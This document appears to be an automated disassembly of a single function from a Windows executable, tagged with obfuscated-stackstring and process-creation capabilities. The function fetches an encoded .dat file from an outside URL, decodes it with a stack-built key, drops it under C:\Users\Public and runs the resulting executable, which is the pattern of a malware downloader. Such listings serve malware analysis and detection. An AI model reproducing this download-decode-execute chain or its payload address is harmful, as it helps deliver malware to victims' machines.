Function at 0x14007e200
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x270
mov qword [rsp + 0x258], 0xfffffffffffffffe
mov rax, qword [0x1400a8018]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0x280]
call fcn.140011d18
mov r8d, 0x104
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rdx, rax
lea rcx, [0x140097b0c]
call fcn.14001cd3c
lea rdx, [0x140098688]
lea rcx, [rsp + 0xd0]
call fcn.140003060
test rax, rax
je 0x14007e34a
lea rax, str.tg:__setlanguage_l
mov qword [rsp + 0x1e8], rax
lea rax, str.angclassic_zh_cn
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1f0], 0
mov rcx, qword [rsp + 0x1e8]
call fcn.14001c040
mov rbx, rax
mov rcx, qword [rsp + 0x1e0]
call fcn.14001c040
lea rcx, [rbx + rax + 1]
call fcn.140003d9c
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
call fcn.14001cf20
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1f0]
call fcn.14001ce80
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x14009673f]
mov r8, qword [rsp + 0x1f0]
lea rdx, [0x1400986bc]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rsp + 0xb0], 0x66
mov byte [rsp + 0xb1], WSAStartup
mov byte [rsp + 0xb2], WSAStartup
mov byte [rsp + 0xb3], 0x66
mov byte [rsp + 0xb4], WSAStartup
mov byte [rsp + 0xb5], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0xb6], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0xb7], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xb8], 0x66
mov byte [rsp + 0xb9], 0x67
mov byte [rsp + 0xba], 0x65
mov byte [rsp + 0xbb], 0x79
mov byte [rsp + 0xbc], Ordinal_60
mov byte [rsp + 0xbd], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0xbe], 0x61
mov byte [rsp + 0xbf], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xc0], 0x67
mov byte [rsp + 0xc1], WSAStartup
mov byte [rsp + 0xc2], 0
lea rcx, [rsp + 0x40]
call fcn.14007f600
nop
lea rdx, str.C:ProgramData_ntg.dat
lea rcx, [rsp + 0x200]
call fcn.140001380
nop
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbWhaM3VieTljdW5EcjRrP2U9RUhXUGIz.dat
lea rcx, [rsp + 0x228]
call fcn.140001380
nop
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x40]
call fcn.14007f860
nop
lea rcx, [rsp + 0x228]
call fcn.1400013e0
nop
lea rcx, [rsp + 0x200]
call fcn.1400013e0
lea rcx, [rsp + 0x40]
call fcn.14007f550
lea r8, [rsp + 0xb0]
lea rdx, str.C:ProgramData_sbs.dat
lea rcx, str.C:ProgramData_ntg.dat
call fcn.14007deb0
lea rdx, str.C:ProgramData_sbs.dat
lea rcx, str.C:UsersPublic
call fcn.14007e090
lea rdx, str.LanecatTrialMSIF1.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x14009674b]
lea r8, str.C:UsersPublic
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x250], 0
lea rcx, [rsp + 0x40]
call fcn.14007f6b0
mov eax, dword [rsp + 0x250]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001bb40
add rsp, 0x270
pop rbx
ret